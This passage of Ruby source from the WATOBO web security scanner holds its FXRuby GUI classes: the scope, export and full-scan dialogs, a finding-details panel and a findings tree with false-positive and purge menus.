LAYOUT_FILL_X|LAYOUT_FILL_Y) # puts "create scopeframe with scope:" # @project.scope text_frame = FXVerticalFrame.new(base_frame, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @textbox = FXText.new(text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) @textbox.setText(chat.comment) # TODO: reactive setFocus # needed to remove because of crash on specific systems # see https://github.com/siberas/watobo/issues/6 #@textbox.setFocus() @textbox.setDefault() @textbox.connect(SEL_KEYPRESS) { |sender, sel, event| if event.code == KEY_Tab @finishButton.setFocus() @finishButton.setDefault() true else false end } buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end end end watobo-1.0.1/lib/watobo/gui/edit_scope_dialog.rb000066400000000000000000000027401366346341400216300ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class EditScopeDialog < FXDialogBox include Responder attr :scope def onAccept(sender, sel, event) Watobo::Scope.set @defineScopeFrame.getScope() getApp().stopModal(self, 1) self.hide() return 1 end def initialize(owner, prefs) #super(owner, "Edit Target Scope", DECOR_TITLE|DECOR_BORDER, :width => 300, :height => 425) super(owner, "Edit Target Scope", DECOR_ALL, :width => 350, :height => 425) @scope = Hash.new FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # puts "create scopeframe with scope:" # @project.scope @defineScopeFrame = DefineScopeFrame.new(base_frame, prefs) buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end end end watobo-1.0.1/lib/watobo/gui/export_dialog.rb000066400000000000000000000073001366346341400210300ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class ExportDialog < FXDialogBox def check_settings end def select_target_file() fname = "watobo_" + Time.now.to_i.to_s + ".xml" dst_file = File.join(@export_path, fname) filename = FXFileDialog.getSaveFilename(self, "Select Export File", dst_file) if filename != "" then @filename_txt.text = filename return true end return false end def onFinished getApp().stopModal(self, 1) self.hide() return 1 end def initialize(owner) @export_path = Watobo.workspace_path super(owner, "Export Dialog", :opts => DECOR_TITLE|DECOR_BORDER|DECOR_CLOSE, :width => 350, :height => 250) main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # frame = FXHorizontalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) gbox = FXGroupBox.new(main, "Items", LAYOUT_SIDE_LEFT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 80) gbframe = FXVerticalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @export_chats = FXCheckButton.new(gbframe, "Chats", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT) @export_chats.checkState = true @export_findings = FXCheckButton.new(gbframe, "Findings", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT) @export_findings.checkState = true # frame = FXHorizontalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) gbox = FXGroupBox.new(main, "Filter", LAYOUT_SIDE_LEFT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 80) gbframe = FXVerticalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @scope_only = FXCheckButton.new(gbframe, "Scope Only", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT) @scope_only.checkState = true @ignore_fps = FXCheckButton.new(gbframe, "Ignore False-Positives", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT) @ignore_fps.checkState = true frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Save To:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @filename_txt = FXTextField.new(frame, 25, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|LAYOUT_FILL_X) @select_btn = FXButton.new(frame, "Select") @select_btn.connect(SEL_COMMAND){ select_target_file } buttons_frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) @export_btn = FXButton.new(buttons_frame, "export" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @export_btn.enable @export_btn.connect(SEL_COMMAND){ onExport } @finished_btn = FXButton.new(buttons_frame, "finished" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finished_btn.enable @finished_btn.connect(SEL_COMMAND){ onFinished } end private def onExport #return false unless check_export_target prefs = [] prefs << :export_findings if @export_findings.checked? prefs << :export_chats if @export_chats.checked? prefs << :scope_only if @scope_only.checked? prefs << :ignore_fps if @ignore_fps.checked? puts "Export-Prefs: #{prefs.join(", ")}" file = @filename_txt.text unless file.strip.empty? begin File.open(file, "w"){|fh| xml = Watobo::Utils.exportXML(*prefs) fh.puts xml.to_xml } rescue => bang puts bang puts bang.backtrace end else #TODO end end end end end if __FILE__ == $0 # TODO Generated stub end watobo-1.0.1/lib/watobo/gui/finding_info.rb000066400000000000000000000170651366346341400206320ustar00rootroot00000000000000require 'fox16/colors' # @private module Watobo#:nodoc: all module Gui class FindingInfo < FXVerticalFrame include Watobo::Gui::Icons include Watobo::Constants def resetInfo() @finding_title.text = "-" @finding_date.text = "-" @finding_module.text = "-" @finding_check.text = "-" @finding_proof.text = "-" @finding_threat.text = "-" @finding_rating.text = "-" @finding_cvss.text = "-" @finding_measure.text = "-" # @finding_references.text = "-" end def showInfo(finding) # p "* show info" resetInfo() case finding.details[:type] when FINDING_TYPE_INFO icon = ICON_INFO_INFO rating = "Info" when FINDING_TYPE_HINT icon = ICON_HINTS_INFO rating = "Hint" when FINDING_TYPE_VULN if finding.details[:rating] == VULN_RATING_LOW icon = ICON_VULN_LOW rating = "Low" end if finding.details[:rating] == VULN_RATING_MEDIUM icon = ICON_VULN_MEDIUM rating = "Medium" end if finding.details[:rating] == VULN_RATING_HIGH icon=ICON_VULN_HIGH rating = "High" end if finding.details[:rating] == VULN_RATING_CRITICAL icon=ICON_VULN_CRITICAL rating = "Critical" end end @finding_icon.icon = icon @finding_title.text = finding.details[:class] @finding_rating.text = rating @finding_threat.text = finding.details[:threat] @finding_measure.text = finding.details[:measure] @finding_details.text = (finding.details.has_key? :output) ? finding.details[:output] : finding.details[:details] @finding_date.text = finding.details[:tstamp] @finding_module.text = finding.details[:module] @finding_chat.text = finding.id.to_s @finding_check.text = finding.details[:check_pattern] @finding_proof.text = finding.details[:proof_pattern] @finding_id.text = finding.id.to_s self.recalc() self.update() # p "* ok" end def initialize(owner, opts) super(owner, opts) @font_title = FXFont.new(getApp(), "helvetica", 14, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT) @font_text = FXFont.new(getApp(), "courier", 12, FONTWEIGHT_BOLD) main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) main.backColor = FXColor::White frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X|FRAME_GROOVE) frame.backColor = FXColor::White #@imageview = FXImageView.new(header, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|HSCROLLER_NEVER|VSCROLLER_NEVER) #@imageview = FXImageView.new(header, :opts => LAYOUT_FIX_WIDTH|LAYOUT_FIX_HEIGHT|HSCROLLER_NEVER|VSCROLLER_NEVER, :width => 50, :height => 50) #@imageview.image = ICON_WATOBO @finding_icon = FXButton.new(frame, '', ICON_WATOBO, :opts => FRAME_NONE) @finding_icon.backColor = FXColor::White @finding_title = FXLabel.new(frame, "- N/A -", nil, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @finding_title.setFont(@font_title) @finding_title.backColor = FXColor::White @finding_title.justify = JUSTIFY_LEFT|JUSTIFY_CENTER_Y frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) frame.backColor = FXColor::White label = FXLabel.new(frame, "Rating: ") label.backColor = FXColor::White label.setFont(@font_text) @finding_rating = FXLabel.new(frame, "- N/A -", nil, :opts => JUSTIFY_CENTER_X|LAYOUT_FILL_X) @finding_rating.setFont(@font_text) @finding_rating.backColor = FXColor::White @finding_rating.justify = JUSTIFY_LEFT frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X|FRAME_GROOVE) frame.backColor = FXColor::White label = FXLabel.new(frame, "Threat:") label.backColor = FXColor::White label.setFont(@font_title) threat = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) threat.backColor = FXColor::White #@finding_thread = FXLabel.new(thread, "- N/A -", nil, :opts => JUSTIFY_CENTER_X|LAYOUT_FILL_X) @finding_threat = FXText.new(threat, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_READONLY|TEXT_WORDWRAP) # Enable the style buffer for this text widget @finding_threat .styled = true @finding_threat.setFont(@font_text) @finding_threat.backColor = FXColor::White # @finding_thread.justify = JUSTIFY_LEFT frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X|FRAME_GROOVE) frame.backColor = FXColor::White label = FXLabel.new(frame, "Measure:") label.backColor = FXColor::White label.setFont(@font_title) measure = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) measure.backColor = FXColor::White @finding_measure =FXText.new(measure, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_READONLY|TEXT_WORDWRAP) #FXLabel.new(measure, "- N/A -", nil, :opts => JUSTIFY_CENTER_X|LAYOUT_FILL_X) @finding_measure.setFont(@font_text) @finding_measure.backColor = FXColor::White # @finding_measure.justify = JUSTIFY_LEFT frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X|FRAME_GROOVE) frame.backColor = FXColor::White label = FXLabel.new(frame, "Details:") label.backColor = FXColor::White label.setFont(@font_title) details = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) details.backColor = FXColor::White @finding_details =FXText.new(details, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_READONLY|TEXT_WORDWRAP) @finding_details.setFont(@font_text) @finding_details.backColor = FXColor::White info = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X|FRAME_GROOVE) info.backColor = FXColor::White frame = FXHorizontalFrame.new(info, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Finding-ID:") @finding_id = FXLabel.new(frame,"-") frame = FXHorizontalFrame.new(info, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Date:") @finding_date = FXLabel.new(frame,"-") frame = FXHorizontalFrame.new(info, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Module:") @finding_module = FXLabel.new(frame,"-") frame = FXHorizontalFrame.new(info, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Chat-ID:") @finding_chat = FXLabel.new(frame,"-") frame = FXHorizontalFrame.new(info, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Check-Pattern:") @finding_check = FXLabel.new(frame,"-") frame = FXHorizontalFrame.new(info, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Proof-Pattern:") @finding_proof = FXLabel.new(frame,"-") frame = FXHorizontalFrame.new(info, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "CVSS (Base-Score):") @finding_cvss = FXLabel.new(frame,"-") end end end end watobo-1.0.1/lib/watobo/gui/findings_tree.rb000077500000000000000000000511651366346341400210230ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class FindingsTree < FXTreeList include Watobo::Constants include Watobo::Gui::Icons attr_accessor :project def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def expandFullTree(item) @expandeds = [] self.expandTree(item) item.each do |c| expandFullTree(c) if !self.itemLeaf?(c) end end def collapseFullTree(item) @expandeds = [] self.collapseTree(item) item.each do |c| collapseFullTree(c) if !self.itemLeaf?(c) end end def hidden?(finding) return true if @hide_false_positives == true and finding.false_positive? false end def reload() self.clearItems @findings.clear Watobo::Findings.each do |fid, finding| addFinding(finding) end expand_findings @expandeds.each do |t| site, text = t.split("|") if (site = self.findItem(site, nil, SEARCH_FORWARD | SEARCH_NOWRAP)) if (node = self.findItem(text, site, SEARCH_FORWARD | SEARCH_NOWRAP)) self.expandTree(node) else @expandeds.delete t end end end end def useRegularIcons() regular_font = FXFont.new(getApp(), "helvetica", GUI_REGULAR_FONT_SIZE) regular_font.create # Findings Tree Icons @icon_vuln = ICON_VULN @icon_vuln_bp = ICON_VULN_BP @icon_vuln_low = ICON_VULN_LOW @icon_vuln_medium = ICON_VULN_MEDIUM @icon_vuln_high = ICON_VULN_HIGH @icon_vuln_critical = ICON_VULN_CRITICAL @icon_info = ICON_INFO @icon_info_info = ICON_INFO_INFO @icon_hints_info = ICON_INFO_INFO @icon_project = ICON_PROJECT @icon_hints = ICON_HINTS self.font = regular_font reload() end def useSmallIcons small_font = FXFont.new(getApp(), "helvetica", GUI_SMALL_FONT_SIZE) small_font.create @icon_vuln = ICON_VULN_SMALL @icon_vuln_bp = ICON_VULN_BP_SMALL @icon_vuln_low = ICON_VULN_LOW_SMALL @icon_vuln_medium = ICON_VULN_MEDIUM_SMALL @icon_vuln_high = ICON_VULN_HIGH_SMALL @icon_vuln_critical = ICON_VULN_CRITICAL_SMALL @icon_info = ICON_INFO_SMALL @icon_info_info = ICON_INFO_INFO_SMALL @icon_hints_info = ICON_INFO_INFO_SMALL @icon_project = ICON_PROJECT_SMALL @icon_hints = ICON_HINTS_SMALL self.font = small_font reload() end def hideDomain(domain_filter) #@interface.default_settings[:domain_filters].push domain_filter #@interface.updateTreeLists #notify(:new_domain_filter, domain_filter) end def addFinding(finding) # p "* add finding to tree" # puts finding.details[:title] @findings[finding.details[:fid]] = finding if @show_scope_only == true addFindingItem(finding) if Watobo::Scope.match_site?(finding.request.site) else addFindingItem(finding) end end def addFindingItem(finding) begin site = nil # puts "add finding" if not hidden?(finding) then site = self.findItem(finding.request.site, nil, SEARCH_FORWARD | SEARCH_IGNORECASE) if not site then # found new site site = self.appendItem(nil, finding.request.site, @icon_project, @icon_project) item = self.appendItem(site, "Vulnerabilities", @icon_vuln, @icon_vuln) self.setItemData(item, :finding_type) item = self.appendItem(site, "Hints", @icon_hints, @icon_hints) self.setItemData(item, :finding_type) item = self.appendItem(site, "Info", @icon_info, @icon_info) self.setItemData(item, :finding_type) #site = @findings_tree.moveItem(project.first,project,site) self.setItemData(site, :item_type_site) end finding_type = "" case finding.details[:type] when FINDING_TYPE_INFO finding_type = "Info" icon = @icon_info_info when FINDING_TYPE_HINT finding_type = "Hints" icon = @icon_hints_info when FINDING_TYPE_VULN finding_type = "Vulnerabilities" icon = @icon_vuln_bp if finding.details[:rating] == VULN_RATING_LOW icon = @icon_vuln_low # puts "low-rating-vuln" end if finding.details[:rating] == VULN_RATING_MEDIUM icon = @icon_vuln_medium end if finding.details[:rating] == VULN_RATING_HIGH icon = @icon_vuln_high end if finding.details[:rating] == VULN_RATING_CRITICAL icon = @icon_vuln_critical end end sub_tree = self.findItem(finding_type, site, SEARCH_FORWARD | SEARCH_IGNORECASE | SEARCH_NOWRAP) if sub_tree and sub_tree.parent == site and finding.details[:class] class_item = nil # don't use findItem here because of nested collisions sub_tree.each do |c| if c.text =~ /^#{Regexp.quote(finding.details[:class])}/ class_item = c end end #class_item = self.findItem(finding.details[:class], sub_tree, SEARCH_FORWARD|SEARCH_IGNORECASE|SEARCH_NOWRAP|SEARCH_PREFIX) if not class_item or class_item.parent != sub_tree class_item = self.appendItem(sub_tree, finding.details[:class], icon, icon) self.setItemData(class_item, :finding_class) end title_item = self.findItem(finding.details[:title], class_item, SEARCH_FORWARD | SEARCH_IGNORECASE | SEARCH_NOWRAP) if not title_item or title_item.parent != class_item title_item = self.appendItem(class_item, finding.details[:title], nil, nil) self.setItemData(title_item, :title) # puts finding.details[:title] end # puts title_item resource = finding.request.path_ext request_item = self.findItem(resource, title_item, SEARCH_FORWARD | SEARCH_IGNORECASE | SEARCH_NOWRAP) if not request_item or request_item.parent != title_item text = "/" + resource request_item = self.appendItem(title_item, text) self.setItemData(request_item, finding) end # unless class_item.text =~ / \(\d+\)$/ class_item.text = class_item.text + " (#{class_item.numChildren})" else class_item.text = class_item.text.gsub(/ \(\d+\)$/, " (#{class_item.numChildren})") end end end rescue => bang puts "!ERROR: could not add finding to tree" puts bang puts bang.backtrace if $DEBUG end end def initialize(parent, interface, project) @project = project @interface = interface @parent = parent @findings = Hash.new @show_scope_only = false @hide_false_positives = false @clipboard = "" @expandeds = [] @event_dispatcher_listeners = Hash.new super(parent, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | LAYOUT_TOP | LAYOUT_RIGHT | TREELIST_SHOWS_LINES | TREELIST_SHOWS_BOXES | TREELIST_ROOT_BOXES | TREELIST_EXTENDEDSELECT) useRegularIcons() @filtered_domains = Hash.new # domains which already have been filtered self.connect(SEL_CLIPBOARD_REQUEST) do setDNDData(FROM_CLIPBOARD, FXWindow.stringType, Fox.fxencodeStringData(@clipboard.to_s)) end self.connect(SEL_EXPANDED) do |sender, sel, item| parent = item while parent.parent parent = parent.parent end unless parent.nil? or item.nil? node = "#{parent.text}|#{item.text}" @expandeds << node end end self.connect(SEL_COLLAPSED) do |sender, sel, item| parent = item while parent.parent parent = parent.parent end node = "#{parent.text}|#{item.text}" @expandeds.delete node end self.connect(SEL_COMMAND) do |sender, sel, item| if self.itemLeaf?(item) getApp().beginWaitCursor do begin if item.data if item.data.is_a? Watobo::Finding #@interface.show_vuln(item.data) notify(:vuln_click, item.data) end end rescue => bang puts "!!! Error: could not show selected finding" puts bang end end elsif item.data == :title then #@interface.show_vuln(item.first.data) if item.first.data notify(:vuln_click, (item.first.data)) if item.first.data end end self.connect(SEL_DOUBLECLICKED) do |sender, sel, item| if self.itemLeaf?(item) begin puts item.data.class if item.data.is_a? Watobo::Finding #TODO: show vulnerability details # @interface.showFindingInfo(item.data) notify(:finding_click, item.data) else puts item.data.class.to_s end rescue => bang puts "!!! Error: could not show selected finding" puts bang end end end self.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| unless event.moved? FXMenuPane.new(self) do |menu_pane| item = sender.getItemAt(event.win_x, event.win_y) unless item.nil? data = self.getItemData(item) unless self.itemLeaf?(item) FXMenuCommand.new(menu_pane, "expand tree").connect(SEL_COMMAND) { expandFullTree(item) } FXMenuCommand.new(menu_pane, "collapse tree").connect(SEL_COMMAND) { self.collapseFullTree(item) } FXMenuSeparator.new(menu_pane) end end target = FXMenuCheck.new(menu_pane, "show scope only") target.check = @show_scope_only target.connect(SEL_COMMAND) {|ts, sl, it| @show_scope_only = ts.checked? begin getApp().beginWaitCursor() reload ensure getApp().endWaitCursor() end } target = FXMenuCheck.new(menu_pane, "hide false-positives") target.check = @hide_false_positives target.connect(SEL_COMMAND) {|ts, sl, it| @hide_false_positives = ts.checked? reload } unless item.nil? data = self.getItemData(item) FXMenuSeparator.new(menu_pane) unless data == :finding_type if data == :item_type_site then # FXMenuSeparator.new(menu_pane) FXMenuCommand.new(menu_pane, "add site to scope").connect(SEL_COMMAND) { #notify(:add_site_to_scope, item.to_s) Watobo::Scope.add item.to_s reload } # elsif data == :title findings = [] item.each do |ft| f = self.getItemData(ft) findings << f if f.is_a? Watobo::Finding end fp_submenu = FXMenuPane.new(self) do |sub| target = FXMenuCommand.new(sub, "Set False Positive") target.connect(SEL_COMMAND) { # puts "* False Positive #{findings.length}" # remember parent node to expand it later fclass = item.parent.text fcat = item.parent.parent.text fsite = item.parent.parent.parent.text puts ">> #{fsite} - #{fcat} - #{fclass} (#{fclass.object_id})" notify(:set_false_positive, findings) reload site_item = cat_item = class_item = nil site_item = self.findItem(fsite, nil, SEARCH_FORWARD | SEARCH_IGNORECASE) unless site_item.nil? self.expandTree(site_item) cat_item = self.findItem(fcat, site_item, SEARCH_FORWARD | SEARCH_IGNORECASE) end unless cat_item.nil? self.expandTree(cat_item) class_item = self.findItem(fclass, cat_item, SEARCH_FORWARD | SEARCH_IGNORECASE) end unless class_item.nil? puts "Expanding #{class_item} (#{class_item.object_id})-> #{cat_item} -> #{site_item}" self.expandTree(class_item) else puts "Could not find tree item for #{class_item} (#{class_item.object_id})-> #{cat_item} -> #{site_item}" end } target = FXMenuCommand.new(sub, "Unset False Positive") target.connect(SEL_COMMAND) { fclass = item.parent.text fcat = item.parent.parent.text fsite = item.parent.parent.parent.text notify(:unset_false_positive, findings) reload site_item = cat_item = class_item = nil site_item = self.findItem(fsite, nil, SEARCH_FORWARD | SEARCH_IGNORECASE) unless site_item.nil? self.expandTree(site_item) cat_item = self.findItem(fcat, site_item, SEARCH_FORWARD | SEARCH_IGNORECASE) end unless cat_item.nil? self.expandTree(cat_item) class_item = self.findItem(fclass, cat_item, SEARCH_FORWARD | SEARCH_IGNORECASE) end unless class_item.nil? puts "Expanding #{class_item} (#{class_item.object_id})-> #{cat_item} -> #{site_item}" self.expandTree(class_item) else puts "Could not find tree item for #{class_item} (#{class_item.object_id})-> #{cat_item} -> #{site_item}" end } FXMenuSeparator.new(sub) FXMenuCommand.new(sub, "Purge - NO UNDO!").connect(SEL_COMMAND) { notify(:purge_findings, findings) reload } end FXMenuCascade.new(menu_pane, "All \"#{item}\"", nil, fp_submenu) FXMenuSeparator.new(menu_pane) info = FXMenuCommand.new(menu_pane, "Details...") info.connect(SEL_COMMAND) { #@interface.showFindingDetails(item.data)} notify(:show_finding_details, findings.first) } elsif data == :finding_class #puts "FINDING_CLASS" # COPY SUBMENU findings = [] item.each do |c| c.each do |ft| f = self.getItemData(ft) findings << f if f.is_a? Watobo::Finding end end fp_submenu = FXMenuPane.new(self) do |sub| target = FXMenuCommand.new(sub, "Copy URLs") target.connect(SEL_COMMAND) { urls = [] findings.each do |f| proto = f.request.proto site = f.request.site path = f.request.path urls << "#{proto}://#{site}/#{path}" end types = [FXWindow.stringType] if acquireClipboard(types) @clipboard = urls.uniq.join("\n") end } target = FXMenuCommand.new(sub, "Set False Positive") target.connect(SEL_COMMAND) { fcat = item.parent.text fsite = item.parent.parent.text notify(:set_false_positive, findings) reload site_item = cat_item = class_item = nil site_item = self.findItem(fsite, nil, SEARCH_FORWARD | SEARCH_IGNORECASE) unless site_item.nil? self.expandTree(site_item) cat_item = self.findItem(fcat, site_item, SEARCH_FORWARD | SEARCH_IGNORECASE) end unless cat_item.nil? self.expandTree(cat_item) end } target = FXMenuCommand.new(sub, "Unset False Positive") target.connect(SEL_COMMAND) { fcat = item.parent.text fsite = item.parent.parent.text notify(:unset_false_positive, findings) reload site_item = cat_item = class_item = nil site_item = self.findItem(fsite, nil, SEARCH_FORWARD | SEARCH_IGNORECASE) unless site_item.nil? self.expandTree(site_item) cat_item = self.findItem(fcat, site_item, SEARCH_FORWARD | SEARCH_IGNORECASE) end unless cat_item.nil? self.expandTree(cat_item) end } FXMenuSeparator.new(sub) FXMenuCommand.new(sub, "Purge - NO UNDO!").connect(SEL_COMMAND) { puts "* purge findings #{findings.length}" notify(:purge_findings, findings) reload } end FXMenuCascade.new(menu_pane, "All \"#{item}\"", nil, fp_submenu) FXMenuSeparator.new(menu_pane) info = FXMenuCommand.new(menu_pane, "Details...") info.connect(SEL_COMMAND) { #@interface.showFindingDetails(item.data)} notify(:show_finding_details, findings.first) } elsif data.is_a? Watobo::Finding then FXMenuCommand.new(menu_pane, "Copy URL").connect(SEL_COMMAND) { types = [FXWindow.stringType] if acquireClipboard(types) @clipboard = item.data.request.url.to_s end } # FXMenuSeparator.new(menu_pane) doManual = FXMenuCommand.new(menu_pane, "Manual Request..") doManual.connect(SEL_COMMAND) { # @interface.open_manual_request_editor(item.data) notify(:open_manual_request, item.data) } info = FXMenuCommand.new(menu_pane, "Details...") info.connect(SEL_COMMAND) { #@interface.showFindingDetails(item.data)} notify(:show_finding_details, item.data) } end end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end end private def expand_findings() self.each do |site| expandTree site %w(Vulnerabilities Hints Info).each do |item| f = self.findItem(item, site, SEARCH_FORWARD | SEARCH_IGNORECASE) expandTree(f) unless site.nil? end end end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end end # namespace end end end watobo-1.0.1/lib/watobo/gui/full_scan_dialog.rb000066400000000000000000000212531366346341400214600ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class FullScanDialog < FXDialogBox include Responder attr :active_policy attr :scope attr :prefs attr :activeModules attr :scan_prefs def onAccept(sender, sel, event) @scope = @defineScopeFrame.getScope() @activeModules = @policyFrame.getSelectedModules() @scan_prefs = @scannerOptions.getSettings() getApp().stopModal(self, 1) self.hide() return 1 end def setButtons(index) case index when 0 @nextButton.enable @backButton.disable @finishButton.disable when 1 # select session screen @nextButton.enable @backButton.enable @finishButton.enable when 2 # select session screen @nextButton.disable @backButton.enable @finishButton.enable when 3 puts "3" @nextButton.disable @backButton.enable @finishButton.enable end end def initialize(owner, project, prefs) super(owner, "Start Full Scan", DECOR_TITLE|DECOR_BORDER, :width => 300, :height => 425) @project = project @scope = Hash.new @scan_prefs = nil @selectedProxy = @project.settings[:proxy] @selectedProxyList = @project.settings[:proxy_list] @login_chat_ids = @project.getLoginChatIds @sid_patterns = @project.getSidPatterns @logout_signatures = @project.getLogoutSignatures FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @switcher = FXSwitcher.new(base_frame,LAYOUT_FILL_X|LAYOUT_FILL_Y) @defineScopeFrame = DefineScopeFrame.new(@switcher, prefs) @policyBase = FXVerticalFrame.new(@switcher, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) smf = FXHorizontalFrame.new(@policyBase, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP|FRAME_GROOVE) FXLabel.new(smf, "Select Checks") @policyFrame = ChecksPolicyFrame.new(@policyBase, @project.getScanPolicy) # @scannerOptions = ScannerSettingsFrame.new(@switcher, @project.getScanPreferences(),:opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @scannerOptions = ScannerSettingsFrame.new(@switcher, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) # @advancedFrame = AdvancedSettingsFrame.new(@switcher, @project, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @finishButton = FXButton.new(buttons_frame, "Start" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.disable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @nextButton = FXButton.new(buttons_frame, "Next" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @nextButton.enable @nextButton.connect(SEL_COMMAND) do |sender, sel, item| if @switcher.current < @switcher.numChildren-1 @switcher.current = @switcher.current+1 end setButtons(@switcher.current) end @backButton = FXButton.new(buttons_frame, "Back" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @backButton.disable @backButton.connect(SEL_COMMAND) do |sender, sel, item| if @switcher.current > 0 @switcher.current = @switcher.current-1 end setButtons(@switcher.current) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end class AdvancedSettingsFrame < FXVerticalFrame def startProxyDialog(sender, sel, ptr) proxy_dialog = Watobo::Gui::ProxyDialog.new(self, @selectedProxy, @selectedProxyList) if proxy_dialog.execute != 0 then @selectedProxyList = proxy_dialog.getProxyList @selectedProxy = proxy_dialog.proxy @forwardingProxy.value = @selectedProxy end end def startSessionManagementDialog(sender, sel, ptr) smdlg = SessionManagementDialog.new(self, @project) if smdlg.execute != 0 then @login_chat_ids = smdlg.getLoginScriptIds() @sid_patterns = smdlg.getSidPatterns() @logout_signatures = smdlg.getLogoutSignatures() end end def initialize(owner, project, opts) super(owner, opts) @project = project smf = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) FXLabel.new(smf, "Advanced Settings") gbox = FXGroupBox.new(self, "Excluded 